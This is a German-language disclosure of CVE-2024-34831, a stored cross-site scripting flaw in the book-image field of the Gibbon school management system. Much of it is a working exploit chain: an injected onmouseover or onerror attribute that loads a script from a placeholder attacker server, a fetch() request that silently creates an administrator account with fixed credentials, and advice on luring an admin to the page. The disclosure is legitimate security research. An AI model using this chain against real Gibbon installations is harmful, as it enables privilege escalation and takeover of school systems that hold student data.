
Offenlegung von CVE-2024-34831
Gibbon ist ein großartiges Open-Source-Schulverwaltungssystem mit vollem Funktionsumfang. Es wird viel Arbeit in die Überarbeitung der recht alten Codebasis investiert.
Autor: Christian Bajada
Der Parameter imageLink ist beim Bearbeiten/Übermitteln neuer Bücher (/modules/Library/library_manage_catalog_editProcess.php) anfällig für XSS. Benutzer mit der Berechtigung „Katalog verwalten“ können diese Schwachstelle ausnutzen, wodurch beliebige Skripte für Benutzer mit höheren Berechtigungen ausgeführt werden und eine Privilegienerweiterung ermöglicht wird.
[http://x](http://x/)" onerror='alert(1)' und der Alert-Code wird beim Laden der Bibliotheksseite beim Seitenaufruf ausgeführt:

Dieser Abschnitt erklärt, wie diese Schwachstelle für etwas Gefährlicheres als einen einfachen Alert(1)-Popup genutzt werden kann. Wir werden einen angemeldeten Administrator dazu bringen, nahtlos einen weiteren Administrator zu erstellen, auf den der Angreifer zugreifen kann.
Das imageLink-Feld ist zu klein, um sinnvolle Funktionen auf der Gibbon-Plattform aufzurufen. Wir können das JavaScript einfach an anderer Stelle hosten und es vom Browser herunterladen und ausführen lassen. Das Fehlen von CSP macht dies möglich.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
Sie müssen entweder warten, bis der Administrator zum Bibliothekskatalog navigiert, oder ihn per IM, E-Mail oder über einen anderen Kanal dazu überreden.
Das Bewegen der Maus (onmouseover) über das Bild des Buches führt dazu, dass der Payload von dem Ort (in diesem Fall <yourserver.com>) abgerufen und ausgeführt wird. Dadurch wird ein Administrator-Benutzer erstellt, auf den der böswillige Benutzer nun zugreifen kann. Der 'onerror'-Listener kann ebenfalls verwendet werden, um den Payload sofort auszuführen, anstatt über das Bild fahren zu müssen.
Sie können den erstellten Benutzer im Menü ADMIN > Benutzerverwaltung überprüfen

Veröffentlicht gemäß den Richtlinien zur verantwortungsvollen Offenlegung https://github.com/GibbonEdu/core/security.